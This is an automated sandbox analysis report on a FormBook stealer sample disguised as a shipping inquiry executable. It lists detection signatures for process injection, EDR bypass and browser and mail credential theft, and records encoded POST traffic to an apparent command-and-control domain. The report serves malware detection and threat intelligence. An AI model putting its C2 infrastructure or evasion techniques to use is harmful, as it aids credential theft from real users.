Edit tour

Windows Analysis Report
Vessel's inquiry - 22054.exe

Overview

General Information

Sample name:	Vessel's inquiry - 22054.exe
Analysis ID:	1665504
MD5:	ab5d08099c7c1f032e51da7d0cbc8947
SHA1:	887a017cff1f998a61f4d5da82fa0df5628a9022
SHA256:	abc6035072d6ee26a1e89b0465e8fdd6c3d494b374422977e719feaaba5b0705
Tags:	exeFormbookuser-threatcat_ch
Infos:

Detection

FormBook

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected FormBook

Found direct / indirect Syscall (likely to bypass EDR)

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Performs DNS queries to domains with low reputation

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

IP address seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

Vessel's inquiry - 22054.exe (PID: 5660 cmdline: "C:\Users\user\Desktop\Vessel's inquiry - 22054.exe" MD5: AB5D08099C7C1F032E51DA7D0CBC8947)

Vessel's inquiry - 22054.exe (PID: 6744 cmdline: "C:\Users\user\Desktop\Vessel's inquiry - 22054.exe" MD5: AB5D08099C7C1F032E51DA7D0CBC8947)

9gqi61vFxD2dyomn.exe (PID: 5116 cmdline: "C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\EHfRmJwee.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

Utilman.exe (PID: 7600 cmdline: "C:\Windows\SysWOW64\Utilman.exe" MD5: 4F59EE095E37A83CDCB74091C807AFA9)

9gqi61vFxD2dyomn.exe (PID: 5476 cmdline: "C:\Program Files (x86)\MUQXFMxOZMCrKjUyvmUGBguvjZuOxHTjwfoCVUSYNVuSEvKZLhBoIejbALeylmkCKOi\A3bvfIlMs.exe" MD5: 9C98D1A23EFAF1B156A130CEA7D2EE3A)

firefox.exe (PID: 7776 cmdline: "C:\Program Files\Mozilla Firefox\Firefox.exe" MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000000C.00000002.3660363847.0000000005360000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.1469348449.00000000012D0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.3658197272.0000000004A40000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.3658115106.00000000049F0000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000B.00000002.3655658054.0000000002C50000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.1468691450.0000000000400000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000002.00000002.1470766734.0000000002AF0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
0000000A.00000002.3658118937.0000000003B60000.00000040.00000001.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
Process Memory Space: Vessel's inquiry - 22054.exe PID: 5660	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Click to see the 4 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
2.2.Vessel's inquiry - 22054.exe.400000.0.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
2.2.Vessel's inquiry - 22054.exe.400000.0.raw.unpack	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security

HTTP traffic detected: POST /l81p/ HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cache-Control: max-age=0Content-Length: 205Content-Type: application/x-www-form-urlencodedConnection: closeHost: www.globedesign.xyzOrigin: http://www.globedesign.xyzReferer: http://www.globedesign.xyz/l81p/User-Agent: Mozilla/5.0 (BB10; Touch) AppleWebKit/537.35+ (KHTML, like Gecko) Version/10.3.1.2576 Mobile Safari/537.35+Data Raw: 44 70 47 4c 51 62 69 58 3d 50 31 68 45 44 62 74 4c 78 44 45 34 45 34 2f 41 51 44 38 68 77 37 7a 47 31 59 59 77 31 45 6c 56 41 6a 6f 47 2f 73 4b 65 42 74 4a 43 30 7a 58 4a 2b 56 44 55 39 77 6d 52 66 4a 2b 54 42 4f 76 68 59 42 6f 72 71 2b 4a 7a 30 38 52 58 6f 54 39 6d 50 42 73 69 72 6a 46 4b 53 66 6d 2b 55 36 66 57 6b 6c 6b 73 74 2b 6a 73 47 69 71 61 4c 6d 41 75 4e 72 69 76 4a 75 48 68 31 61 69 39 4a 48 37 68 51 70 45 63 4e 4a 7a 64 53 45 6a 2f 39 58 39 6e 57 31 56 47 56 50 6d 61 6f 68 68 72 47 56 55 6f 33 48 78 66 30 7a 6f 44 6a 2f 6a 55 39 6d 36 32 5a 49 71 6c 54 6a 69 37 56 4c 31 5a 38 6b 50 67 62 41 3d 3d Data Ascii: DpGLQbiX=P1hEDbtLxDE4E4/AQD8hw7zG1YYw1ElVAjoG/sKeBtJC0zXJ+VDU9wmRfJ+TBOvhYBorq+Jz08RXoT9mPBsirjFKSfm+U6fWklkst+jsGiqaLmAuNrivJuHh1ai9JH7hQpEcNJzdSEj/9X9nW1VGVPmaohhrGVUo3Hxf0zoDj/jU9m62ZIqlTji7VL1Z8kPgbA==

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 15 Apr 2025 13:55:07 GMTContent-Type: text/html; charset=UTF-8Content-Length: 31Connection: closeVary: Accept-EncodingSet-Cookie: from=noref; expires=Wed, 16-Apr-2025 13:55:07 GMT; Max-Age=86400; path=/Set-Cookie: lfrom=noref; expires=Wed, 16-Apr-2025 13:55:07 GMT; Max-Age=86400; path=/Set-Cookie: idcheck=1744725307; expires=Wed, 16-Apr-2025 13:55:07 GMT; Max-Age=86400; path=/Set-Cookie: lp=%2Fr1zl%2F%3FDpGLQbiX%3DRMtocHhLv4PviDOIzD6yKdwQdedkbqGuCdUbVP3porp0rsRMSXBGxxdZR279wH8k7MV0UwICfeYC4O3VpK1XVPrPjdWbkMsoQcQuvLibN%2FAidLM%2F%2B9JUY2Q%3D%26CF6%3Dmh9lph0H2BrdBp0; expires=Wed, 16-Apr-2025 13:55:07 GMT; Max-Age=86400; path=/Set-Cookie: last_url=content; expires=Wed, 16-Apr-2025 13:55:07 GMT; Max-Age=86400; path=/Set-Cookie: to=%7Curl; expires=Wed, 16-Apr-2025 13:55:07 GMT; Max-Age=86400; path=/Data Raw: 20 20 20 20 20 20 20 20 43 6f 6e 74 65 6e 74 20 6e 6f 74 20 66 6f 75 6e 64 20 70 61 67 65 20 Data Ascii: Content not found page
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:55:38 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:55:41 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:55:44 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:55:47 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:56:45 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:56:47 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:56:50 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:56:53 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:57:45 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ZAVi49FVyw8jYixrkhSi9m7IiS8EfZd10EgBH3SbMz27JhIQzsosIy48e7buDAHqCpVKjJapE0mKVqEKAXPGT6xzTKJAuCeaAmWWg2jOrnOsItJp0F77zezuZZ%2FDKCUP"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 930bf42cdc474c12-MIAContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=126117&min_rtt=126117&rtt_var=63058&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=695&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 15 Apr 2025 13:57:47 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closecf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DIEcQXwxYxDZ1TGyZau4Je73lJzHX9%2Fzd9PYg%2FMQaLiY6Af1CFz6OvNidFj7J3CMfqs2nDBbau4VlUBhagBzj%2FqThDv%2BvSEms66HUJmPpWS10jy4UvTDBsHKaMTpk36r"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 930bf43d7e6aadf4-JAXContent-Encoding: gzipalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=115031&min_rtt=115031&rtt_var=57515&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=715&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"Data Raw: 36 64 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 f0 72 d9 24 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 19 86 76 36 fa 50 69 90 d9 45 76 30 c5 79 e9 99 79 15 c8 72 fa 30 d3 f4 a1 2e 01 00 0b d9 61 33 92 00 00 00 0d 0a Data Ascii: 6d(HML),I310Q/Qp/Kr$T";Ctv6PiEv0yyr0.a3
